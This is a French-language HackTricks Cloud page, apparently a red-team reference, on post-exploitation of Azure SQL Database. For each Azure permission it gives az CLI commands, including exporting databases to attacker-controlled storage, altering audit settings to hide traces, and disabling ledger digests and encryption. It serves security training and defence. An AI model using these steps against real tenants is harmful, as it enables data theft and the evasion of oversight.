Az - SQL Database Post Exploitation
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
SQL Database Post Exploitation
Pour plus d’informations sur SQL Database, consultez :
Microsoft.Sql/servers/databases/read, Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write
Avec ces autorisations, un attaquant peut créer et mettre à jour des bases de données dans l’environnement compromis. Cette activité de post-exploitation pourrait permettre à un attaquant d’ajouter des données malveillantes, de modifier les configurations de la base de données ou d’insérer des portes dérobées pour une persistance supplémentaire, perturbant potentiellement les opérations ou permettant des actions malveillantes supplémentaires.
# Create Database
az sql db create --resource-group <resource-group> --server <server-name> --name <new-database-name>
# Update Database
az sql db update --resource-group <resource-group> --server <server-name> --name <database-name> --max-size <max-size-in-bytes>
Avec ces autorisations (Microsoft.Sql/servers/read && Microsoft.Sql/servers/databases/write), vous pouvez restaurer une base de données supprimée :
az sql db restore \
--dest-name <new_database_name> \
--name <original_database_name> \
--resource-group <resource_group> \
--server <server_name> \
--deleted-time "<deleted_time_ISO_format>"
Microsoft.Sql/servers/elasticPools/write && Microsoft.Sql/servers/elasticPools/read
Avec ces autorisations, un attaquant peut créer et mettre à jour des elasticPools au sein de l’environnement compromis. Cette activité de post-exploitation pourrait permettre à un attaquant d’ajouter des données malveillantes, de modifier les configurations de la base de données ou d’insérer des portes dérobées pour une persistance supplémentaire, perturbant potentiellement les opérations ou permettant des actions malveillantes supplémentaires.
# Create Elastic Pool
az sql elastic-pool create \
--name <new-elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--edition <edition> \
--dtu <dtu-value>
# Update Elastic Pool
az sql elastic-pool update \
--name <elastic-pool-name> \
--server <server-name> \
--resource-group <resource-group> \
--dtu <new-dtu-value> \
--tags <key=value>
Microsoft.Sql/servers/auditingSettings/read && Microsoft.Sql/servers/auditingSettings/write
Avec cette autorisation, vous pouvez modifier ou activer les paramètres d’audit sur un Azure SQL Server. Cela pourrait permettre à un attaquant ou à un utilisateur autorisé de manipuler les configurations d’audit, potentiellement pour dissimuler des traces ou rediriger les journaux d’audit vers un emplacement sous leur contrôle. Cela peut entraver la surveillance de la sécurité ou permettre de suivre les actions. REMARQUE : Pour activer l’audit pour un Azure SQL Server en utilisant Blob Storage, vous devez attacher un compte de stockage où les journaux d’audit peuvent être sauvegardés.
az sql server audit-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--state Enabled \
--storage-account <storage_account_name> \
--retention-days 7
Microsoft.Sql/locations/connectionPoliciesAzureAsyncOperation/read, Microsoft.Sql/servers/connectionPolicies/read && Microsoft.Sql/servers/connectionPolicies/write
Avec cette autorisation, vous pouvez modifier les politiques de connexion d’un serveur SQL Azure. Cette capacité peut être exploitée pour activer ou changer les paramètres de connexion au niveau du serveur.
az sql server connection-policy update \
--server <server_name> \
--resource-group <resource_group_name> \
--connection-type <Proxy|Redirect|Default>
Microsoft.Sql/servers/databases/export/action
Avec cette autorisation, vous pouvez exporter une base de données d’un Azure SQL Server vers un compte de stockage. Un attaquant ou un utilisateur autorisé disposant de cette autorisation peut exfiltrer des données sensibles de la base de données en l’exportant vers un emplacement qu’il contrôle, posant ainsi un risque important de violation de données. Il est important de connaître la clé de stockage pour pouvoir effectuer cela.
az sql db export \
--server <server_name> \
--resource-group <resource_group_name> \
--name <database_name> \
--storage-uri <storage_blob_uri> \
--storage-key-type SharedAccessKey \
--admin-user <admin_username> \
--admin-password <admin_password>
Microsoft.Sql/servers/databases/import/action
Avec cette autorisation, vous pouvez importer une base de données dans un Azure SQL Server. Un attaquant ou un utilisateur autorisé disposant de cette autorisation peut potentiellement télécharger des bases de données malveillantes ou manipulées. Cela peut conduire à un contrôle sur des données sensibles ou à l’insertion de scripts ou de déclencheurs nuisibles dans la base de données importée. De plus, vous pouvez l’importer sur votre propre serveur dans Azure. Remarque : Le serveur doit autoriser les services et ressources Azure à accéder au serveur.
az sql db import --admin-user <admin-user> \
--admin-password <admin-password> \
--name <target-database-name> \
--server <azure-sql-server-name> \
--resource-group <resource-group-name> \
--storage-key-type SharedAccessKey \
--storage-key <storage-account-key> \
--storage-uri `https://<storage-account-name>.blob.core.windows.net/bacpac-container/MyDatabase.bacpac`
Microsoft.Sql/servers/connectionPolicies/write && Microsoft.Sql/servers/connectionPolicies/read
Avec ces autorisations, un utilisateur peut modifier et récupérer les politiques de connexion d’un serveur Azure SQL. Ces autorisations permettent à quelqu’un de changer la façon dont les clients se connectent au serveur—choisir entre des méthodes comme le redirection ou le proxy—ce qui pourrait être exploité pour affaiblir la sécurité, rediriger le trafic ou intercepter des données sensibles en cas de mauvaise configuration.
az sql server conn-policy update \
--resource-group <resource_group> \
--server <server_name> \
--connection-policy <policy>
Microsoft.Sql/servers/keys/write && Microsoft.Sql/servers/keys/read
Avec ces autorisations, un utilisateur peut mettre à jour et récupérer les clés de chiffrement associées à un Azure SQL Server. Ces clés sont souvent utilisées pour sécuriser des données sensibles par le biais du chiffrement, donc les manipuler pourrait compromettre la sécurité des données en permettant un déchiffrement non autorisé ou des modifications de rotation de clé.
az sql server key create \
--resource-group MyResourceGroup \
--server MyServer \
--kid "https://mykeyvault.vault.azure.net/keys/mykey/1234567890abcdef
Microsoft.Sql/servers/databases/ledgerDigestUploads/disable/action, Microsoft.Sql/locations/ledgerDigestUploadsAzureAsyncOperation/read, Microsoft.Sql/locations/ledgerDigestUploadsOperationResults/read
Cette autorisation permet de désactiver le Ledger Digest pour une base de données Azure SQL, ce qui arrête le téléchargement périodique des enregistrements de résumé cryptographique vers Azure Blob Storage qui vérifie l’intégrité des données.
az sql db ledger-digest-uploads disable \
--name ledgerDB \
--resource-group myResourceGroup \
--server my-sql-server
Microsoft.Sql/servers/databases/transparentDataEncryption/write, Microsoft.Sql/locations/transparentDataEncryptionAzureAsyncOperation/read, Microsoft.Sql/servers/databases/transparentDataEncryption/read
Cette autorisation permet à un utilisateur autorisé ou à un attaquant d’activer, de désactiver ou de modifier les paramètres de Transparent Data Encryption (TDE) sur une base de données Azure SQL, ce qui peut avoir un impact sur la sécurité des données en modifiant les configurations de cryptage.
az sql db tde set \
--database <database-name> \
--resource-group <resource-group-name> \
--server <server-name> \
--status <Enabled|Disabled>
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.
HackTricks Cloud

